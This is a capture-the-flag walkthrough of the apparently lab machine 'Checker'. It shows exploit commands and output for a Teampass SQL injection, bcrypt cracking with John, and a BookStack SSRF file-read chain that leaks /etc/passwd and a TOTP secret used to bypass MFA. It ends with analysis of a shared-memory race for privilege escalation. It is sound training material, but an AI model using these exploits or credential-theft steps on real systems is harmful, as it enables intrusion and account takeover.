User Flag
Nmap scan
As always, we start our process with an nmap scan
sudo nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.56# Nmap 7.94SVN scan initiated Sun Feb 23 19:36:13 2025 as: nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.56Warning: 10.10.11.56 giving up on port because retransmission cap hit (10).Nmap scan report for 10.10.11.56Host is up (0.053s latency).Not shown: 64735 closed tcp ports (reset), 797 filtered tcp ports (no-response)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)80/tcp open http Apache httpd|_http-server-header: Apache|_http-title: 403 Forbidden8080/tcp open http Apache httpd|_http-title: 403 Forbidden|_http-server-header: ApacheDevice type: general purposeRunning: Linux 5.XOS CPE: cpe:/o:linux:linux_kernel:5.0OS details: Linux 5.0Network Distance: 2 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)HOP RTT ADDRESS1 52.06 ms 10.10.14.12 52.15 ms 10.10.11.56
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Feb 23 19:37:06 2025 -- 1 IP address (1 host up) scanned in 53.87 secondsThe port 80 redirect us to checker.htb so I have added it to our hostsfile
echo -e "10.10.11.56\t\tchecker.htb" | sudo tee -a /etc/hosts10.10.11.56 checker.htbI checked the open ports and found Book Stack hosted on port 80 and Teampass hosted on port 8080.
We ca easily identified the Book Stack version running, which is 23.10.2.
After some googling I found that this version is vulnerable to an SSRF vulnerabilty that can be exploited to read local files CVE-2023-6199, but we need to be authenticated remeber this we will use it later. So, I knew I had to start with teampass.
To identify the version of teampass I’ve downloaded the background image using wget
wget http://checker.htb:8080/includes/images/login_wall_5.jpgthen we can use stat to get the date when the image was modified:
stat login_wall_5.jpg File: login_wall_5.jpg Size: 1371352 Blocks: 2680 IO Block: 4096 regular fileDevice: 8,4 Inode: 5902787 Links: 1Access: (0644/-rw-r--r--) Uid: ( 1000/ aboud) Gid: ( 1001/ aboud)Access: 2025-02-28 21:34:00.000000000 +0000Modify: 2024-06-12 18:44:59.000000000 +0100Change: 2025-02-28 21:34:00.608379394 +0000 Birth: 2025-02-28 21:34:00.181712686 +0000So the last that the image was modified is in 2024-06-12, so the version of teampass should be before this date, after looking for a release of Teampass before this date I found this version
I looked in Snyk for any CVE that affect this version and found a lot, one of them is an unauthenticated SQL injection due to improper input sanitization CVE-2023-1545
I ran that POC and got these hashes:
./exploit.sh http://checker.htb:8080/There are 2 users in the system:admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWyabob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiyCracking hashes with John the ripper
The $2y indicates that the passwords are hashed using bcrypt $2*$, Blowfish (Unix), so I used John to crack them
sudo john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtI cracker Bob’s password successfully
bob:cheerleaderI logged in to Teampass and found two saved passwords, a Book Stack login and an ssh access.
Oh, SSH an SSH credentials
The user is called Reader. I tried to connect with those creds via SSH, but there is a verification code, which means that the user reader is using multi factor authentication
But we have also the Book Stack creads, I used them to login to bob’s account

CVE-2023-6199
Do you remember the authenticated CVE we found earlier on this version of Book Stack, now we can use it. after reading this article https://fluidattacks.com/advisories/imagination/ . I tried to confirm if the vulnerability really exists

$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...10.10.11.56 - - [28/Feb/2025 23:50:19] code 404, message File not found10.10.11.56 - - [28/Feb/2025 23:50:19] "GET /image.png HTTP/1.1" 404 -I received two responses from the server, which confirm the presence of an SSRF vulnerability. Now, we need to exploit it to read local files from the server. I found an article titled LFR via SSRF in BookStack, which explains how the SSRF was discovered and escalated to filter the contents of arbitrary files using the php:// wrapper. This was achieved by applying a simple modification to the php_filter_chains_oracle_exploit.
I modified the script to suit my needs, and you can find my version here: my modified code.
Filter Chain Oracle Exploit
I tried to run the script and read /etc/passwd
$ python3 filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"}' --verb PUT --proxy http://localhost:8010 --target http://checker.htb/ajax/page/9/save-draft --file '/etc/passwd'[*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft[*] The following local file is leaked : /etc/passwd[*] Running PUT requests[*] Additionnal headers used : {"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"}It worked, and I read partially the /etc/passwd file, then I tried to read the flag from /home/reader/user.txt, but no luck.
I kept digging for a while and while I was reading the books published by bob I stumbled on this interesting folder the user created:

$ python3 filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"}' --verb PUT --proxy http://localhost:8010 --target http://checker.htb/ajax/page/9/save-draft --file '/backup/home_backup/home/reader/.google_authenticator'[*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator[*] Running PUT requests[*] Additionnal headers used : {"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN":"waQegWWiyvDB8J5DwQz7nhSwZojMfbvGJEIXEDEA","Cookie":"bookstack_session=eyJpdiI6IkUydFZxM3Z4aHZxSVJlNXRjcGVqUXc9PSIsInZhbHVlIjoiQS9FL2xzUTNYS3N1OEFCaTl5aXVXZ1hINGFZME5Rd1l4VjVicVhEUzdBeHZvMG5tdFJOejVjNUpjaWhXd2s2WGg2dnBXZW8vMGxOQUxUWHpGS216cTh1OXRnR1MyOE5UVVRXdENDK0RzU3BqYmVSMGlEcThUeHBWRXdzWUN5WlUiLCJtYWMiOiJjYjQ5YTVlN2I4NWE1ZDIxN2NjZTRhY2QxNzFlZDYzMGRlZmIwZDc0MzQ0ZTc2NjVlYTkyMzQxNzVmMzQ4M2FiIiwidGFnIjoiIn0%3D"}as output I got the google authenticator backup code
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgKb'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'Now I have the google authenticator backup code, I downloaded Google Authenticator on my phone, and inserted this code. then the verification codes started to be generated. I typed the verification code and authenticated successfully to reader account.
The reason we could not read the user flag or the .google_authenticator file from /home/reader/ is that they did not have read permissions for everyone
reader@checker:~$ ls -al user.txt .google_authenticator-r-------- 1 reader reader 39 Jun 14 2024 .google_authenticator-rw-r----- 1 root reader 33 Feb 28 18:53 user.txtreader@checker:~$ ls -al /backup/home_backup/home/reader/user.txt /backup/home_backup/home/reader/.google_authenticator-rw-r--r-- 1 root root 39 Jun 14 2024 /backup/home_backup/home/reader/.google_authenticator-rw-r--r-- 1 root root 33 Jun 14 2024 /backup/home_backup/home/reader/user.txtPrivilege Escalation
First, I checked the sudo privileges for the user reader using: sudo -l
It looks like the user reader has sudo privileges to run check-leak.sh without a password. Let’s investigate the folder where check-leak.sh is located.
reader@checker:/opt/hash-checker$ ls -altotal 68drwxr-xr-x 2 root root 4096 Jan 30 17:09 .drwxr-xr-x 5 root root 4096 Jan 30 17:04 ..-r-------- 1 root root 118 Jan 30 17:07 .env-rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak-rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh-rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt#!/bin/bashsource `dirname $0`/.envUSER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')/opt/hash-checker/check_leak "$USER_NAME"The check-leak.sh file takes a username as an argument and runs the check_leak binary to check if the passwords of the username has been leaked or not.
I ran that script with bob username, and got this response:
reader@checker:/opt/hash-checker$ sudo /opt/hash-checker/check-leak.sh bobPassword is leaked!Using the shared memory 0xFA03C as temp locationUser will be notified via bob@checker.htbSince check_leak is a compiled binary, I dumped it onto my local machine and opened it in Binary Ninja for reverse engineering.

-
The program creates a shared memory segment with a predictable key (using
srand(time(NULL))andrand()), writes a leaked hash into it, then sleeps for 1 second before clearing it. -
The shared memory has read/write permissions for all users (0o666), allowing any user to attach and modify it during the 1-second window.